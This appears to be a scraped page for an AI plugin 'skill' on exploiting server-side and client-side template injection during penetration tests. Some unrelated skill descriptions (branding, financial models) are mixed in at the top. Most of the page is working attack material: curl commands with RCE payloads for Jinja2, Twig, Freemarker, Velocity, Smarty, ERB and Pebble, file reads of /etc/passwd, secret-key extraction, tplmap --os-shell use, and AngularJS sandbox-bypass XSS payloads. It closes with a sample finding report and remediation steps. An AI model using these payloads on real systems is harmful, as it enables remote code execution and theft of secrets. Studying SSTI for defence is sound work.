npx claudepluginhub mukul975/anthropic-cybersecurity-skills --plugin cybersecurity-skillsThis skill uses the workspace's default tool permissions.
- During authorized penetration tests when user input is rendered through a server-side template engine
Applies Acme Corporation brand guidelines including colors, fonts, layouts, and messaging to generated PowerPoint, Excel, and PDF documents.
Builds DCF models with sensitivity analysis, Monte Carlo simulations, and scenario planning for investment valuation and risk assessment.
Calculates profitability (ROE, margins), liquidity (current ratio), leverage, efficiency, and valuation (P/E, EV/EBITDA) ratios from financial statements in CSV, JSON, text, or Excel for investment analysis.
{{7*7}} returns 49)git clone https://github.com/epinna/tplmap.git)pip install sstimap)Find parameters where user input is processed by a template engine.
# Inject mathematical expressions to detect template processing
# If the server evaluates the expression, SSTI may be present
# Universal detection payloads
PAYLOADS=(
'{{7*7}}' # Jinja2, Twig
'${7*7}' # Freemarker, Velocity, Spring EL
'#{7*7}' # Thymeleaf, Ruby ERB
'<%= 7*7 %>' # ERB (Ruby), EJS (Node.js)
'{7*7}' # Smarty
'{{= 7*7}}' # doT.js
'${{7*7}}' # AngularJS/Spring
'#set($x=7*7)$x' # Velocity
)
for payload in "${PAYLOADS[@]}"; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
echo -n "$payload -> "
curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
done
# Check common injection locations:
# - Error pages with reflected input
# - Profile fields (name, bio, signature)
# - Email subject/body templates
# - PDF/report generation with custom fields
# - Search results pages
# - 404 pages reflecting the URL path
# - Notification templates
Determine which template engine is in use to select the appropriate exploitation technique.
# Decision tree for engine identification:
# {{7*'7'}} => 7777777 = Jinja2 (Python)
# {{7*'7'}} => 49 = Twig (PHP)
# ${7*7} => 49 = Freemarker/Velocity (Java)
# #{7*7} => 49 = Thymeleaf (Java)
# <%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)
# Test Jinja2 vs Twig
curl -s "https://target.example.com/page?name={{7*'7'}}"
# 7777777 = Jinja2
# 49 = Twig
# Test for Jinja2 specifically
curl -s "https://target.example.com/page?name={{config}}"
# Returns Flask config = Jinja2/Flask
# Test for Freemarker
curl -s "https://target.example.com/page?name=\${.now}"
# Returns date/time = Freemarker
# Test for Velocity
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
# Returns 1 = Velocity
# Test for Smarty
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
# Returns test = Smarty
# Test for Pebble
curl -s "https://target.example.com/page?name={{%27test%27.class}}"
# Returns class info = Pebble
# Use tplmap for automated engine detection
python3 tplmap.py -u "https://target.example.com/page?name=test"
Achieve code execution through Jinja2 template injection.
# Read configuration
curl -s "https://target.example.com/page?name={{config.items()}}"
# Access secret key
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"
# RCE via Jinja2 - method 1: accessing os module through MRO
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# RCE via Jinja2 - method 2: using cycler
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# RCE via Jinja2 - method 3: using lipsum
PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# File read via Jinja2
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# Enumerate available subclasses to find useful ones
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
Use engine-specific payloads for exploitation.
# --- Twig (PHP) ---
# RCE via Twig
curl -s "https://target.example.com/page?name={{['id']|filter('system')}}"
curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}"
# Twig file read
curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}"
# --- Freemarker (Java) ---
# RCE via Freemarker
curl -s "https://target.example.com/page?name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>\${ex(\"id\")}"
# Alternative Freemarker RCE
curl -s "https://target.example.com/page?name=\${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}"
# --- Velocity (Java) ---
# RCE via Velocity
curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)"
# --- Smarty (PHP) ---
# RCE via Smarty
curl -s "https://target.example.com/page?name={system('id')}"
# --- ERB (Ruby) ---
# RCE via ERB
curl -s "https://target.example.com/page?name=<%25=%20system('id')%20%25>"
# --- Pebble (Java) ---
# RCE via Pebble
curl -s "https://target.example.com/page?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}"
Use automated tools for comprehensive testing and exploitation.
# tplmap - Automated SSTI exploitation
python3 tplmap.py -u "https://target.example.com/page?name=test" --os-shell
# tplmap with POST parameter
python3 tplmap.py -u "https://target.example.com/page" -d "name=test" --os-cmd "id"
# tplmap with custom headers
python3 tplmap.py -u "https://target.example.com/page?name=test" \
-H "Cookie: session=abc123" \
-H "Authorization: Bearer token" \
--os-cmd "whoami"
# SSTImap
sstimap -u "https://target.example.com/page?name=test"
sstimap -u "https://target.example.com/page?name=test" --os-shell
# tplmap file read
python3 tplmap.py -u "https://target.example.com/page?name=test" \
--download "/etc/passwd" "/tmp/passwd"
# Burp Intruder approach:
# 1. Send request to Intruder
# 2. Mark the injectable parameter
# 3. Load SSTI payload list
# 4. Grep for indicators: "49", error messages, class names
Assess for Angular/Vue/React expression injection in client-side templates.
# AngularJS expression injection
curl -s "https://target.example.com/page?name={{constructor.constructor('alert(1)')()}}"
# AngularJS sandbox bypass (pre-1.6)
curl -s "https://target.example.com/page?name={{a]constructor.prototype.charAt=[].join;[\$eval('a]alert(1)//')]()}}"
# Vue.js expression injection
curl -s "https://target.example.com/page?name={{_c.constructor('alert(1)')()}}"
# Check for AngularJS ng-app on the page
curl -s "https://target.example.com/" | grep -i "ng-app\|angular\|vue\|v-"
# Test with different CSTI payloads
for payload in '{{7*7}}' '{{constructor.constructor("return this")()}}' \
'{{$on.constructor("alert(1)")()}}'; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
echo -n "$payload: "
curl -s "https://target.example.com/search?q=$encoded" | grep -oP "49|alert|constructor"
done
| Concept | Description |
|---|---|
| SSTI | Server-Side Template Injection - injecting template directives that execute server-side |
| CSTI | Client-Side Template Injection - injecting expressions into AngularJS/Vue templates (leads to XSS) |
| Template Engine | Software that processes template files with placeholders, replacing them with data |
| Sandbox Escape | Bypassing template engine security restrictions to access dangerous functions |
| MRO (Method Resolution Order) | Python class hierarchy traversal used in Jinja2 exploitation |
| Object Introspection | Using __class__, __subclasses__(), __globals__ to navigate Python objects |
| Blind SSTI | Template injection where output is not directly visible, requiring OOB techniques |
| Tool | Purpose |
|---|---|
| tplmap | Automated SSTI detection and exploitation with OS shell capability |
| SSTImap | Modern SSTI scanner with support for multiple template engines |
| Burp Suite Professional | Request interception and Intruder for payload fuzzing |
| Hackvertor (Burp Extension) | Payload encoding and transformation for bypass techniques |
| PayloadsAllTheThings | Comprehensive SSTI payload reference on GitHub |
| OWASP ZAP | Automated SSTI detection in active scanning mode |
A Flask application lets users customize email notification templates. The custom template is rendered with Jinja2 without sandboxing, allowing RCE through {{config.items()}} and subclass traversal.
A Java-based CMS allows administrators to edit page templates using Freemarker. A lower-privileged editor injects <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} to execute commands.
A custom 404 error page reflects the requested URL path through a Twig template. Requesting /{{['id']|filter('system')}} causes the server to execute the id command.
A search page renders results using AngularJS with ng-bind-html. Searching for {{constructor.constructor('alert(document.cookie)')()}} achieves XSS through AngularJS expression evaluation.
## Template Injection Finding
**Vulnerability**: Server-Side Template Injection (Jinja2) - RCE
**Severity**: Critical (CVSS 9.8)
**Location**: GET /page?name= (name parameter)
**Template Engine**: Jinja2 (Python 3.9 / Flask 2.3)
**OWASP Category**: A03:2021 - Injection
### Reproduction Steps
1. Send GET /page?name={{7*7}} - Response contains "49" confirming SSTI
2. Send GET /page?name={{config.SECRET_KEY}} - Returns Flask secret key
3. Send GET /page?name={{cycler.__init__.__globals__.os.popen('id').read()}}
4. Server returns: uid=33(www-data) gid=33(www-data)
### Confirmed Impact
- Remote code execution as www-data user
- Secret key disclosure: Flask SECRET_KEY exposed
- File system read: /etc/passwd, application source code
- Potential lateral movement to internal network
### Recommendation
1. Never pass user input directly to template render functions
2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment)
3. Implement strict input validation and allowlisting for template variables
4. Use logic-less template engines (Mustache, Handlebars) where possible
5. Apply least-privilege OS permissions for the web application user